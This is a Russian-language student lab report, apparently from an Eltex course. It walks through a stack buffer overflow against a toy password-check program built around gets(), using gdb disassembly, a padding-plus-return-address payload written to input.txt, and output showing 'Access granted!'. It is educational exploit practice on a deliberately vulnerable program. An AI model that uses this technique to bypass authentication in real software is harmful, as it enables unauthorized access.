Задание №5

1) Скомпилируем программу и дизассемблируем функции main и IsPassOk, установив точку останова:

```
gennadiy@gennadiy-IdeaPad-Gaming-3-15IMH05:~/Рабочий стол/Eltex/Task5$ gcc prog.c -o prog -g -fno-stack-protector -no-pie
prog.c: In function ‘IsPassOk’:
prog.c:29:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   29 |     gets(Pass);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/cc58RDDv.o: в функции «IsPassOk»:
/home/gennadiy/Рабочий стол/Eltex/Task5/prog.c:29:(.text+0x71): предупреждение: the `gets' function is dangerous and should
gennadiy@gennadiy-IdeaPad-Gaming-3-15IMH05:~/Рабочий стол/Eltex/Task5$ gdb prog
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from prog...
(gdb) run
```

Рисунок 1 — компиляция программы с запуском отладчика

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000401196 <+0>:     endbr64
   0x000000000040119a <+4>:     push   %rbp
   0x000000000040119b <+5>:     mov    %rsp,%rbp
   0x000000000040119e <+8>:     sub    $0x10,%rsp
=> 0x00000000004011a2 <+12>:    lea    0xe5b(%rip),%rax        # 0x402004
   0x00000000004011a9 <+19>:    mov    %rax,%rdi
   0x00000000004011ac <+22>:    call   0x401070 <puts@plt>
   0x00000000004011b1 <+27>:    call   0x4011ee <IsPassOk>
   0x00000000004011b6 <+32>:    mov    %eax,-0x4(%rbp)
   0x00000000004011b9 <+35>:    cmpl   $0x0,-0x4(%rbp)
   0x00000000004011bd <+39>:    jne    0x4011d8 <main+66>
   0x00000000004011bf <+41>:    lea    0xe4e(%rip),%rax        # 0x402014
   0x00000000004011c6 <+48>:    mov    %rax,%rdi
   0x00000000004011c9 <+51>:    call   0x401070 <puts@plt>
   0x00000000004011ce <+56>:    mov    $0x1,%edi
   0x00000000004011d3 <+61>:    call   0x4010a0 <exit@plt>
   0x00000000004011d8 <+66>:    lea    0xe43(%rip),%rax        # 0x402022
   0x00000000004011df <+73>:    mov    %rax,%rdi
   0x00000000004011e2 <+76>:    call   0x401070 <puts@plt>
   0x00000000004011e7 <+81>:    mov    $0x0,%eax
   0x00000000004011ec <+86>:    leave
   0x00000000004011ed <+87>:    ret
End of assembler dump.
(gdb)
```

Рисунок 2 — листинг функции main

```
(gdb) disas IsPassOk
Dump of assembler code for function IsPassOk:
   0x00000000004011ee <+0>:     endbr64
   0x00000000004011f2 <+4>:     push   %rbp
   0x00000000004011f3 <+5>:     mov    %rsp,%rbp
   0x00000000004011f6 <+8>:     sub    $0x10,%rsp
   0x00000000004011fa <+12>:    lea    -0xc(%rbp),%rax
   0x00000000004011fe <+16>:    mov    %rax,%rdi
   0x0000000000401201 <+19>:    mov    $0x0,%eax
   0x0000000000401206 <+24>:    call   0x401090 <gets@plt>
   0x000000000040120b <+29>:    lea    -0xc(%rbp),%rax
   0x000000000040120f <+33>:    lea    0xe1c(%rip),%rdx        # 0x402032
   0x0000000000401216 <+40>:    mov    %rdx,%rsi
   0x0000000000401219 <+43>:    mov    %rax,%rdi
   0x000000000040121c <+46>:    call   0x401080 <strcmp@plt>
   0x0000000000401221 <+51>:    test   %eax,%eax
   0x0000000000401223 <+53>:    sete   %al
   0x0000000000401226 <+56>:    movzbl %al,%eax
   0x0000000000401229 <+59>:    leave
   0x000000000040122a <+60>:    ret
End of assembler dump.
(gdb)
```

Рисунок 3 — листинг функции IsPassOk

2) По полученным листингам определяем:

1. Адрес ветки условия (else) в main (адрес возврата): 0x00000000004011d8
2. В строку для переполнения передаем в little-endian: d811400000000000 (см. текстовый файл)

3) Определяем длину массива для его переполнения: массив начинается за 12 байт до сохраненного rbp (-0xc(%rbp)), а сам rbp 8 байт. Тогда надо заполнить массив символами на 20 байт + 8 байт адрес ветки условия, в которую надо попасть:

```
gennadiy@gennadiy-IdeaPad-Gaming-3-15IMH05: ~/Рабочий стол/Eltex/...
gennadiy@gennadiy-IdeaPad-Gaming-3-15IMH05:~$ cd "/home/gennadiy/Рабочий стол/El
tex/Task5"
gennadiy@gennadiy-IdeaPad-Gaming-3-15IMH05:~/Рабочий стол/Eltex/Task5$ echo -e "
ffffffffffffffffffff\xd8\x11\x40\x00\x00\x00\x00\x00" > input.txt
gennadiy@gennadiy-IdeaPad-Gaming-3-15IMH05:~/Рабочий стол/Eltex/Task5$
```

Рисунок 4 — формируем текстовый файл

```
ПРОБЛЕМЫ  ВЫХОДНЫЕ ДАННЫЕ  КОНСОЛЬ ОТЛАДКИ  ТЕРМИНАЛ  ПОРТЫ

gennadiy@gennadiy-IdeaPad-Gaming-3-15IMH05:~/Рабочий стол/Eltex/Task5$ ./prog < input.txt
Enter password:
Access granted!
Ошибка шины (образ памяти сброшен на диск)
gennadiy@gennadiy-IdeaPad-Gaming-3-15IMH05:~/Рабочий стол/Eltex/Task5$
```

Рисунок 5 — запуск программы с передачей строки из input.txt